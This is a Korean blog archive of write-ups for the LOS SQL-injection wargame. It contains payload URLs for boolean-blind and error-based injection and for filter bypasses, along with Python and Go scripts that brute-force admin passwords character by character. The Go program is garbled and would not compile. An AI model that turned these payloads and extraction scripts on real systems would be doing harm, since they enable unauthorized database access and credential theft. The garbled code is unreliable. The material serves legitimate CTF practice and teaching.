https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=

 

https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=7b751aec

 

los.rubiya.kr

package main

import(
    "bytes"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "regexp"
    "strconv"
    "time"
)

const COOKIEVALUE string = ""

var limit int = 50
var index int = 0
var payload[] string
var pwLength int = 0

func main() {
    //requestPost()
    getLength(50)
    fmt.Println(strconv.Itoa(pwLength))
    index = 0
    blidSqlInjection(0, 0)
    fmt.Println("%v", payload)
}

func matchFind(targetString string) bool {
        r,
        _: = regexp.Compile("

            Hello.*
            ")
            var result[] string

            result = r.FindAllString(targetString, -1) if len(result) > 0 {
                return true
            } else {
                return false
            }
        }

        func requestPost() {
            url: = "https://los.rubiya.kr/gate.php"

            data: = [] byte(`{"hello": "world"}`)

            req,
            err: = http.NewRequest("POST", url, bytes.NewBuffer(data))
            if err != nil {
                log.Fatal("Error reading request. ", err)
            }

            // Set headers
            req.Header.Set("Content-Type", "application/json")
            req.Header.Set("Host", "httpbin.org")

            // Create and Add cookie to request
            cookie: = http.Cookie {
                Name: "PHPSESSID",
                Value: COOKIEVALUE
            }
            req.AddCookie( & cookie)

            // Set client timeout
            client: = & http.Client {
                Timeout: time.Second * 10
            }

            // Validate cookie and headers are attached
            fmt.Println(req.Cookies())
            fmt.Println(req.Header)

            // Send request
            resp,
            err: = client.Do(req)
            if err != nil {
                log.Fatal("Error reading response. ", err)
            }
            defer resp.Body.Close()

            fmt.Println("response Status:", resp.Status)
            fmt.Println("response Headers:", resp.Header)

            body,
            err: = ioutil.ReadAll(resp.Body)
            if err != nil {
                log.Fatal("Error reading body. ", err)
            }

            fmt.Printf("%s\n", body)

        }

        func getLength(start int) int {
            //https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20%20ascii(substr(pw,1,1))%3C150%23

            if index >= limit || start == 0 {
                return -1
            }
            //url1 := "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=pw=%27%20or%20%20length(pw)="
            url1: = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27%20||%20id=%27admin%27%20%26%26%20length(pw)%3C20"
            url2: = strconv.Itoa(start) + "%23%27"

            data: = [] byte(`{"hello": "world"}`)

            url: = url1 + url2
            fmt.Println("Request URL : ", url)
            req, err: = http.NewRequest("GET", url, bytes.NewBuffer(data))
            if err != nil {
                log.Fatal("Error reading request. ", err)
            }

            // Set headers
            req.Header.Set("Content-Type", "application/json")

            // Create and Add cookie to request
            cookie: = http.Cookie {
                Name: "PHPSESSID",
                Value: COOKIEVALUE
            }
            req.AddCookie( & cookie)

            // Set client timeout
            client: = & http.Client {
                Timeout: time.Second * 10
            }

            // Send request
            resp, err: = client.Do(req)
            if err != nil {
                log.Fatal("Error reading response. ", err)
            }
            defer resp.Body.Close()

            //fmt.Println("response Status:", resp.Status)

            body, err: = ioutil.ReadAll(resp.Body)
            if err != nil {
                log.Fatal("Error reading body. ", err)
            }

            matchResult: = matchFind(string(body))

            if matchResult == true {
                fmt.Println("Length : ", strconv.Itoa(start))
                pwLength = start
                return start
            }

            index++

            if matchResult == true {
                getLength(start / 2)
            } else {
                getLength(start - 1)
            }

            return -1
        }

        func blidSqlInjection(start int, pwIndex int) int {
            //https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20%20ascii(substr(pw,1,1))%3C150%23

            fmt.Println(index, start, pwLength, pwIndex)
            if start == pwLength && pwLength == pwIndex {
                return -1
            }

            if pwLength < pwIndex {
                return -1
            }
            url1: = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27%20||%20id=%27admin%27%20%26%26%20ascii(substr(pw," + strconv.Itoa(pwIndex) + ",1))="
            url2: = strconv.Itoa(start) + "%23%27"

            data: = [] byte(`{"hello": "world"}`)

            url: = url1 + url2
            fmt.Println("Request URL : ", url)
            req, err: = http.NewRequest("GET", url, bytes.NewBuffer(data))
            if err != nil {
                log.Fatal("Error reading request. ", err)
            }

            // Set headers
            req.Header.Set("Content-Type", "application/json")

            // Create and Add cookie to request
            cookie: = http.Cookie {
                Name: "PHPSESSID",
                Value: COOKIEVALUE
            }
            req.AddCookie( & cookie)

            // Set client timeout
            client: = & http.Client {
                Timeout: time.Second * 10
            }

            // Send request
            resp, err: = client.Do(req)
            if err != nil {
                log.Fatal("Error reading response. ", err)
            }
            defer resp.Body.Close()

            //fmt.Println("response Status:", resp.Status)

            body, err: = ioutil.ReadAll(resp.Body)
            if err != nil {
                log.Fatal("Error reading body. ", err)
            }

            matchResult: = matchFind(string(body))

            index++
            if matchResult == true {
                //fmt.Println("Length : ", strconv.Itoa(start))
                //return start
                payload = append(payload, string(start))
                blidSqlInjection(0, pwIndex + 1)
            } else {
                blidSqlInjection(start + 1, pwIndex)
            }

            return -1
        }

'War Game > LOS' 카테고리의 다른 글

LOS Cobolt  (0) 2019.06.10
LOS DARK_EYES  (0) 2015.10.24
LOS SUCCUBUS  (0) 2015.10.23
LOS ZOMBIE_ASSASSIN  (0) 2015.10.23
LOS ASSASSIN  (0) 2015.10.23

https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin%27or%271&pw=fdsf

'War Game > LOS' 카테고리의 다른 글

LOS ORGE  (0) 2019.06.10
LOS DARK_EYES  (0) 2015.10.24
LOS SUCCUBUS  (0) 2015.10.23
LOS ZOMBIE_ASSASSIN  (0) 2015.10.23
LOS ASSASSIN  (0) 2015.10.23

http://los.sandbox.cash/chall/dark_eyes_54dda5c7a8bff987a29bd6fc9b2aa729.php?pw=%27or%20id=%27admin%27%20and%20substr(lpad(bin(ord(substr(pw,1,1))),8,%270%27),1,1)%20in%20(0,(select%201%20union%20select%202))%23


if와 case가 막혀있으므로 in 을 사용한다. 이것도 처음에 풀땐 함수찾는라 꽤 헤맸다.

왠 러시아 형님 블로그에 들어갔다.


쿼리를 해석해 보면 id가 admin이면서 pw의 값을 이진값으로 가져와서 그 값이 0인지 1인지 in 함수 안에서 비교한후 

0 in (0,(select 1 union select 2))%23이렇게 되면 select 1 union select 2를 실행을 안하지만

1 in (0,(select union select 2))%23이렇게 되면 select 1 union select 2를 실행해서 에러가 난다. 이걸로 비교를 하는것이다. 


5b2a5e3d

'War Game > LOS' 카테고리의 다른 글

LOS ORGE  (0) 2019.06.10
LOS Cobolt  (0) 2019.06.10
LOS SUCCUBUS  (0) 2015.10.23
LOS ZOMBIE_ASSASSIN  (0) 2015.10.23
LOS ASSASSIN  (0) 2015.10.23

select id from prob_succubus where id='' and pw=''


이렇게 생겼지만 잘보면 \를 필터링 안하고 있다.


'앞에 \가 붙어버리면 다른 문자로 인식해버리기 때문에 



id=' \' and pw=' 

저 부분을 전부 id로 인식해 버린다. 즉 뒤에다가 || 연산만 더해주면 끝


http://los.sandbox.cash/chall/succubus_1e73ac44ec838508bd2b2ce2026af8cf.php?id=\&pw=||1%23


뒤에를 주석처리해주면 된다.

'War Game > LOS' 카테고리의 다른 글

LOS Cobolt  (0) 2019.06.10
LOS DARK_EYES  (0) 2015.10.24
LOS ZOMBIE_ASSASSIN  (0) 2015.10.23
LOS ASSASSIN  (0) 2015.10.23
LOS GIANT  (0) 2015.10.23


자 문제를 보면 
  if(@ereg("'",$_GET[id])) exit("HeHe"); 
  if(@
ereg("'",$_GET[pw])) exit("HeHe"); 

ereg가 있다.


존나 취약하다


ereg 와 eregi는 존나 취약하다

ereg는  null값까지만 받고



떄문에 %00을 넣어주고 


id=%00'||1%23

해주게 되면 id를 그만 입력받고 뒤에 값을 || 연산한후 뒤에 쿼리를 주석처리해 버린다.


http://los.sandbox.cash/chall/zombie_assassin_eb9c4ab86b8c26748f3ce3e91dcd4dd8.php?id=%00%27||1%23

'War Game > LOS' 카테고리의 다른 글

LOS DARK_EYES  (0) 2015.10.24
LOS SUCCUBUS  (0) 2015.10.23
LOS ASSASSIN  (0) 2015.10.23
LOS GIANT  (0) 2015.10.23
LOS BUGBEAR  (0) 2015.10.22

보아하니 %연산자를 이용한 공격이다.


pw like 'a%' 를 하게될 경우 a로 시작하는 모든 값을 검색한다. 즉 참이 된다



페이로드를 날려보면


import requests
 
 
 
key=""
site=""
header={'Cookie':'PHPSESSID=vj0mghpj5cs5n24hh6pr7r4ne6'}
for j in range(1,12):
        for i in reversed(range(48,91)):
                site="http://los.sandbox.cash/chall/assassin_dbfabd99373ea659e58407bc1a8438c6.php?pw="
                site+=key+chr(i)+"%"
                print (site)
                r=requests.put(site,headers=header)
                
                if "<br><h2>Hello guest" in r.text:
                        break
        key+=chr(i)
        print ("\nkey"+key+"\n")
                
print ("\n\n\nF\nKey is :"+key+" \n\n\n")

해보면 


90d2fe10


이게 답이라고 한다.


근데 아무리 해도 안나오는걸 보면 admin pw랑 겹치는 부분이 있는것 같다.


그래서 9% 90% 이런식으로 다시 한번 해보았다. 


정답이었다. 


902EFD10

'War Game > LOS' 카테고리의 다른 글

LOS SUCCUBUS  (0) 2015.10.23
LOS ZOMBIE_ASSASSIN  (0) 2015.10.23
LOS GIANT  (0) 2015.10.23
LOS BUGBEAR  (0) 2015.10.22
LOS DARKKNIGHT  (0) 2015.10.22

select 1234 fromprob_giant where 1


fromprob_giant가 붙어있다.

저걸 \n이나 \r로 띄어줘야 하는데 죄다 필터링 되있다 하지만 url encoding 표를 보면 %0a, %0b %0c 등을 쓰고 있다.



http://los.sandbox.cash/chall/giant_0ea82d6bd3e3cb4614e318f096753475.php?shit=%0c



'War Game > LOS' 카테고리의 다른 글

LOS ZOMBIE_ASSASSIN  (0) 2015.10.23
LOS ASSASSIN  (0) 2015.10.23
LOS BUGBEAR  (0) 2015.10.22
LOS DARKKNIGHT  (0) 2015.10.22
LOS SKELETON  (0) 2015.10.19

dark_knight는 0x가 먹혀서 hex로 우회 했지만 이건 다막았다. 

이걸 당시에 풀떄는 엄청나게 삽질을 했었는데 결국 찾아낸 방법은 

문자를 하나하나 진법 변환하여 붙이는 방법이었다. 

concat()은 문자를 합쳐서 문자열을 만들어 주는 함수 이고


conv()는 진법을 변환해주는 함수다



conv(초기값, 초기진수, 변환진수)이거다


10,10,36이라면


10진수 10을 36진수로 바꾸면 A

13진수 10을 36진수로 바꾸면 D 


이런식으로 admin을 문자를 만든후 합쳐주면 된다.




import requests
 
 
 
site=""
key=""
header={'Cookie':'PHPSESSID='}
for j in range(1,9):
        for i in range(0,36):
                
                site="http://los.sandbox.cash/chall/bugbear_b5bab623f7cba12e66b27364bedb710b.php?no=1||id/**/in/**/(CONCAT(conv(10,10,36),conv(10,13,36),conv(10,22,36),conv(10,18,36),conv(10,23,36)))%26%26if"
                site+="(mid(pw,"+str(j)+",1)in(conv("+str(i)+",10,36)),1,0)"
                
                print (site)
 
               
                r=requests.put(site,headers=header)
 
                
                if "h2>Hello admin</h2" in r.text:
                  key+="conv("+str(i)+",10,36),"
                  print ("key : %s "%key)
                  break;

결과값은 이렇게 나온다


이제 mysql에서 돌려서 확인해보면 된다.


conv(5,10,36),conv(2,10,36),conv(13,10,36),conv(12,10,36),conv(3,10,36),conv(9,10,36),conv(9,10,36),conv(1,10,36),


http://los.sandbox.cash/chall/bugbear_b5bab623f7cba12e66b27364bedb710b.php?pw=52dc3991



소문자로 바꿔서 해주면 된다. 


출처 : http://unknown84.tistory.com/17

'War Game > LOS' 카테고리의 다른 글

LOS ASSASSIN  (0) 2015.10.23
LOS GIANT  (0) 2015.10.23
LOS DARKKNIGHT  (0) 2015.10.22
LOS SKELETON  (0) 2015.10.19
LOS GOELM  (0) 2015.10.19

pw 는 '가 필터링 되므로  no  부분에서 공격 

substr, ascii, = 이 필터링 되므로 admin 을  hex로 바꾸고 

=대신 like를 써서 공격한다.





http://los.sandbox.cash/chall/darkknight_141d7d5d93452a2e1f8c1ab8ecb81a92.php?no=0||id%20like%200x61646d696e%26%26mid(lpad(bin(ord(mid(pw,1,1))),8,0),8,1)




import requests
 
 
 
key=""
site=""
q=0
w=1
header={'Cookie':'PHPSESSID='}
for j in range(1,12):
        for i in reversed(range(1,9)):
                site="http://los.sandbox.cash/chall/darkknight_141d7d5d93452a2e1f8c1ab8ecb81a92.php?no="
                site+="0||id%20like%200x61646d696e%26%26mid(lpad(bin(ord(mid(pw,"+str(j)+",1))),8,0),"+str(i)+",1)"
                print (site)
                r=requests.put(site,headers=header)
                
                if "<br><h2>Hello admin" in r.text:
                  q+=w
                w=w*2
        key+=chr(q)
        print ("\nkey : "+key+"\n")
        q=0
        w=1
                



예전에 풀었던 풀이는 잃어버려서 진우껄 빌려왔다.


출처 : http://unknown84.tistory.com/16

'War Game > LOS' 카테고리의 다른 글

LOS GIANT  (0) 2015.10.23
LOS BUGBEAR  (0) 2015.10.22
LOS SKELETON  (0) 2015.10.19
LOS GOELM  (0) 2015.10.19
LOS Troll  (0) 2015.09.16

https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27or%20%271%27=%271%27%26%26id=%27admin%27%23

'War Game > LOS' 카테고리의 다른 글

LOS BUGBEAR  (0) 2015.10.22
LOS DARKKNIGHT  (0) 2015.10.22
LOS GOELM  (0) 2015.10.19
LOS Troll  (0) 2015.09.16
LOS ORGE  (0) 2015.09.14

+ Recent posts